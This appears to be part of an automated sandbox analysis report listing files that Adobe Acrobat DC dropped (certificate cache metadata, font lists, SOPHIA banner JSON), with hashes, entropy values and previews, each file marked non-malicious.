Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklQx+kVltfllXlE/HT8kA/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKJxbPeT8tdNMa8RdWBwRd
MD5:	95C43AE21B03AD341B2911A55CD4B44D
SHA1:	29328429EC43E02FFBD88022D08637B28FCB2EB7
SHA-256:	DAF031C194953649A4A61C59B35D27FA77A7F563ABE257FF0442E73E866A1E7E
SHA-512:	FDF508DA5677A036B47DC8836D5D5BAC29FE697E595B1B8C6BF31A9E5D91B5C305DCDB7EB8416CCCE426133F48C9A57F8ABEF074B9A5EB63FAE71C1CBFBCCB9A
Malicious:	false
Preview:	p...... ........#2...c..(....................................................... ..........W....$I..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK92/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:o/iDImsLNkPlE99SNxAhUe/3
MD5:	86BB21FADDFC28E4A0E4F4FE30BB7D91
SHA1:	52B5887D65D355D6934D6CA4CC2071298C8B0670
SHA-256:	8437689668A3E7F92D12B26723037767E3FDE44294002C68C2E64DC47695D172
SHA-512:	B9A567127F79236F08FEB0BA4E6B4304101C2C3D241A83E603B0391107A1216D925FD7304B29C922ECD0BF1EF6CC8EF3CE0E669E38500CDD7D7A872145B97C3A
Malicious:	false
Preview:	p...... ..........G..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317666594680813
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJM3g98kUwPeUkwRe9:YvXKX2SYpW7mGMbLUkee9
MD5:	E96E7AA7994455387614AA4262528CEE
SHA1:	3CDB3DAC32C62C8B5DDA5DA7AB95B7C243343C55
SHA-256:	5CBFB39EDA55096535E3B6513CDB78BF9E36E3EA1B13B549EC0DE7DF7F9BC2A2
SHA-512:	03247C81C815853831F0C436D16ADB08687A235BD375D9F2E3762948508C9B53DBF5A4AE315885D42173E7CF2963070CC63097C3CC9DC963DF25B8E8CC68B141
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.254099885854303
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfBoTfXpnrPeUkwRe9:YvXKX2SYpW7mGWTfXcUkee9
MD5:	FB01B02AC42632A231197836EFCB20F2
SHA1:	28CB4637FAC00779969D37C0D4BAF4BF60878370
SHA-256:	C26D7A2D355B19FB109686442D049ED13B4EFBBCFDDB301C53E3825EEA8638DC
SHA-512:	DC7B9784A4B58DF97F449EF07A5B131169045059F2C182A2B180730319C24A78BEF73370CC9CD1849C14920C6D8E5ED1B8C6ADF4BDF12A25C1C4DBE55224A7AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.232648202380307
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfBD2G6UpnrPeUkwRe9:YvXKX2SYpW7mGR22cUkee9
MD5:	975D48C2500F9809378496C956988AC1
SHA1:	94095795AE1C8E81BA9662F596D0D64522076671
SHA-256:	E73F61C6CF622769B580507C0EE989648BF9D8EB4F807724BBAA108158A11CC8
SHA-512:	DA95433CDC8F500E39ED07C5E103ABF6023C76333A8B18D19E905537D300F4481C8739F093B094E4341A29EADE3250A05463C246492789099FD57A1E97D37735
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.294956076136981
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfPmwrPeUkwRe9:YvXKX2SYpW7mGH56Ukee9
MD5:	58573FE5340B148B815DFB3E3FD48C84
SHA1:	0412DB4DA408FFF3139942FD337C0D97D47E54FA
SHA-256:	EE574AFC3C7878B3F796DC8B14325EF8498D47FA26DE3134F7CEBE2D8050CF78
SHA-512:	6BD4BC56317128CF07E7D7054DAA84D441D19D2B4467C7A9434E5A2E1CBEC92CDEAC11247A37E4A82FD10941D265CC0CA6817C96C2136F26E7F7A8C3E4E3DB35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.67931786587247
Encrypted:	false
SSDEEP:	24:Yv6XUizpLgE9cQx8LennAvzBvkn0RCmK8czOCCSpS:YvYzhgy6SAFv5Ah8cv/pS
MD5:	38AE15893A2DB718EEA88B35F94204A9
SHA1:	0493FEBD2609B835F1AFF4B6767C457A7C2AF6A2
SHA-256:	F2AA9C0151AE8D39788A1F1D368FC36A9C13434A32F5E22B2835322EEAA98CD7
SHA-512:	E8EBE11F805B4B2DA2162BBF493AB25D457BED60F222D40CDE770F168F4EE375B12A20323F5805D2E24E8FAAAB2D95AC58BB20030A31D10965BFEAE1F9F4FE0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.237367493896777
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJf8dPeUkwRe9:YvXKX2SYpW7mGU8Ukee9
MD5:	B15672E1FD88362948C450D1DA002256
SHA1:	8A7E6B07019090D4A2C3E78105DBD02B36F0F712
SHA-256:	5B911987DDAC464B5967DC6D1C31653BBC42D2EBBBF7BC3ECA41F6AC36F4286C
SHA-512:	4EDA9A12450F5DE25934D8F98639664E38B79E8B13C303F556785225D1FFA7CC546FC051F9FD34696EE222746DECA2ABC9A0B3BC5756B9E1FB70534576CA8326
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.240057102895726
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfQ1rPeUkwRe9:YvXKX2SYpW7mGY16Ukee9
MD5:	ED5F08F78F4AFBD9111D6C83F68CD6CD
SHA1:	077571BD71AF546D3AB54E61ADAE53867D2E7C98
SHA-256:	0FC7EE76673198FD376166AB0D1E484AC7CF04264E809B8EEA54DE7645EB099B
SHA-512:	C0E34710FFE161CC3E0025AEE1DE02B464CC9FD6A55E68670BC42602ACA40F7F871EBC98BD7B15A8BA42EFFB525E3A61E742A8AF90BDDAB58C84FD45D42CEECF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.257884553084648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfFldPeUkwRe9:YvXKX2SYpW7mGz8Ukee9
MD5:	B379E74FF8DC13FF212377CE9BB38C39
SHA1:	584E62C31C4F110AB58C8343E35359D9135B7941
SHA-256:	F207DB96455FC98BE60683E999F7DAA5749811F7620EC31B1A48AE85100CF0C6
SHA-512:	BE7C8548FA42E847AE9244FEA9F73CE2869A5C099E17A241575B83EA2CC5C94CD305563BD1B3ABC7A803CE0B000F162B83E234FFA64F1BB968D437A4B359005C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.26480086737699
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfzdPeUkwRe9:YvXKX2SYpW7mGb8Ukee9
MD5:	1E86D5E63CFE710A059450A3723DF68E
SHA1:	EB18C6C20F0220ECE9BFA581F8FBFA59442E32DB
SHA-256:	D9BD24392118A93EC573E913F99BBF2F339292C030EF739982DF9F237FC67A5C
SHA-512:	DC9324498EBA900C68E8ED5AEC33A218A093F36CB72F2D771838137D3BFAD5B6ABA2CBCEF30FA9C50605D7F8BC8E7239DD4E2B8328728FC8F3588C2C7715EB07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24533966719466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfYdPeUkwRe9:YvXKX2SYpW7mGg8Ukee9
MD5:	577F2DC4988146C6C71054162525BA38
SHA1:	BB49FE0692CC53363559E1518243FF9339F3EA8A
SHA-256:	6D55A10E8143D5C651C9B8F019F916B056E7D7B8614A914CD35ADFAE34F99C21
SHA-512:	49F05B1A9083A7262FE84CFDC76583C300CC33DCF887AB16360313EDAD6CD7729DFCBABF60668B2EB640D12F57E30128E3683D1D7F17D0B72A6430C47EB42992
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.230726701142264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJf+dPeUkwRe9:YvXKX2SYpW7mG28Ukee9
MD5:	D11D7C5C7E2C9291FC1BEB21F84987BB
SHA1:	7DD0B1A41DDB1FD75A2CAD0BC17C2B2F48C1CFDC
SHA-256:	A709C371B2E1C58DB1C4F593F3A0BC8CE3DC18D62E77B7B082CABA3061B4610D
SHA-512:	CB3212FE08F22CB9BB28C67ED9A058065392BBCE37F498A599DAEEEB17692B07FFE7F08F73BE789ED159193CF0A30F4D069F12D9D0BA48D24B66A7E2036D323C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.229262437258938
Encrypted:	false
